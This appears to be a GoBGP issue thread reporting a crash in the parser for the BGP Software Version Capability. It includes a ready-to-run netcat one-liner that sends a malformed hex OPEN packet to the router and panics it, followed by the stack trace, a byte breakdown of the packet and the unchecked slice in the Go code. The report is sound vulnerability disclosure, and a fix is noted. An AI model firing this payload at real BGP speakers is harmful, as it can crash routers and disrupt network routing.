slice bounds out of range bug in packet/bgp/bgp.go

[GoldBinocle]

I triggered a slice bounds out of range bug in packet/bgp/bgp.go when parsing Software Version Capability

Reproduce

Config

The config of the under-test node is as follows, and its IP is 10.0.255.6

[global.config]
  as = 65001
  router-id = "192.168.10.6"


[[neighbors]]
  [neighbors.config]
    neighbor-address = "10.0.255.5"
    peer-as = 64512

The config of the attack node is as follows, and its IP is 10.0.255.5

[global.config]
  as = 64512
  router-id = "192.168.10.5"

[[neighbors]]
  [neighbors.config]
    neighbor-address = "10.0.255.6"
    peer-as = 65001

Attack

On the attack node, send a BGP Open packet with malformed Software Version Capability:

echo "ffffffffffffffffffffffffffffffff00280104fc00005ac0a80a050b02094b070a000000000000" | xxd -p -r | nc 10.0.255.6 179

Then, the under-test node will crash and the full logs are as follows:

{"level":"info","msg":"gobgpd started","time":"2023-10-31T01:54:26Z"}
{"Topic":"Config","level":"info","msg":"Finished reading the config file","time":"2023-10-31T01:54:26Z"}
{"Key":"10.0.255.5","Topic":"config","level":"info","msg":"Add Peer","time":"2023-10-31T01:54:26Z"}
{"Key":"10.0.255.5","Topic":"Peer","level":"info","msg":"Add a peer configuration","time":"2023-10-31T01:54:26Z"}
{"Duration":0,"Key":"10.0.255.5","Topic":"Peer","level":"debug","msg":"IdleHoldTimer expired","time":"2023-10-31T01:54:26Z"}
{"Key":"10.0.255.5","Topic":"Peer","level":"debug","msg":"state changed","new":"BGP_FSM_ACTIVE","old":"BGP_FSM_IDLE","reason":{"Type":7,"BGPNotification":null,"Data":null},"time":"2023-10-31T01:54:26Z"}
{"Key":"10.0.255.5","Topic":"Peer","level":"debug","msg":"Accepted a new passive connection","time":"2023-10-31T01:54:29Z"}
{"Key":"10.0.255.5","Topic":"Peer","level":"debug","msg":"stop connect loop","time":"2023-10-31T01:54:29Z"}
{"Key":"10.0.255.5","Topic":"Peer","level":"debug","msg":"state changed","new":"BGP_FSM_OPENSENT","old":"BGP_FSM_ACTIVE","reason":{"Type":11,"BGPNotification":null,"Data":null},"time":"2023-10-31T01:54:29Z"}
panic: runtime error: slice bounds out of range [:10] with capacity 7

goroutine 25 [running]:
github.com/osrg/gobgp/v3/pkg/packet/bgp.(*CapSoftwareVersion).DecodeFromBytes(0x5167e0?, {0xc000118174?, 0xc000404bb0?, 0xc000404c30?})
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:1081 +0x185
github.com/osrg/gobgp/v3/pkg/packet/bgp.DecodeCapability({0xc000118174, 0x9, 0x9})
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:1163 +0x222
github.com/osrg/gobgp/v3/pkg/packet/bgp.(*OptionParameterCapability).DecodeFromBytes(0xc000122580, {0xc000118174?, 0xdb5d0ca8f8?, 0x7fdb5d0c9e78?})
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:1182 +0xc7
github.com/osrg/gobgp/v3/pkg/packet/bgp.(*BGPOpen).DecodeFromBytes(0xc0001527c0, {0xc000118168?, 0x0?, 0xc000404d28?}, {0x410865?, 0x8?, 0xc06de0?})
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:1273 +0x289
github.com/osrg/gobgp/v3/pkg/packet/bgp.parseBody(0xc000404ec0, {0xc000118168, 0x15, 0x15}, {0xc0001240f8, 0x1, 0x1})
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:14637 +0x270
github.com/osrg/gobgp/v3/pkg/packet/bgp.ParseBGPBody(...)
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:14656
github.com/osrg/gobgp/v3/pkg/server.(*fsmHandler).recvMessageWithError(0xc0003588c0)
      github.com/osrg/gobgp/v3/pkg/server/fsm.go:1015 +0x64b
github.com/osrg/gobgp/v3/pkg/server.(*fsmHandler).recvMessage(0xc0003588c0, {0xc0002d37d0?, 0xb7b1c5?}, 0xc0002e4000?)
      github.com/osrg/gobgp/v3/pkg/server/fsm.go:1178 +0x65
created by github.com/osrg/gobgp/v3/pkg/server.(*fsmHandler).opensent in goroutine 23
      github.com/osrg/gobgp/v3/pkg/server/fsm.go:1262 +0x2c9

Analysis

The parse result of the PoC packet is

0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Marker (first 8 bytes)
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Marker (second 8 bytes)
0x00, 0x28, // Length: 40
0x01, // Type: OPEN


0x04,       // version: 4
0xfc, 0x00, // my as: 64512
0x00, 0x5a, // hold time: 90 seconds
0xc0, 0xa8, 0x0a, 0x05, // BGP identifier: 192.168.10.5
0x0b, // optional parameters length: 11
0x02, // parameter type: capability
0x09, // parameter length: 9

0x4b,       // capability type: Software Version (75)
0x07,       // capability length: 7
0x0a,      // version length    <-------- the length value is larger than the actual value. It should be 0x06
0x00, 0x00, 0x00, 0x00, 0x00, 0x00  // version

The corresponding parse function is:

gobgp/pkg/packet/bgp/bgp.go

Lines 1073 to 1083 in 1b975be

	func (c *CapSoftwareVersion) DecodeFromBytes(data []byte) error {
	c.DefaultParameterCapability.DecodeFromBytes(data)
	data = data[2:]
	if len(data) < 2 {
	return NewMessageError(BGP_ERROR_OPEN_MESSAGE_ERROR, BGP_ERROR_SUB_UNSUPPORTED_CAPABILITY, nil, "Not all CapabilitySoftwareVersion bytes allowed")
	}
	softwareVersionLen := uint8(data[0])
	c.SoftwareVersionLen = softwareVersionLen
	c.SoftwareVersion = string(data[1:c.SoftwareVersionLen])
	return nil
	}

In line 1081, SoftwareVersionLen represents the version length field and is read from the packet without sanitization, we should check whether there is enough data before the slice.

[fujita]

Thanks for the report. Can you send a pull request?

[GoldBinocle]

Fixed by #2736

[fujita]

Oops, sorry. I unintentionally fixed both bugs.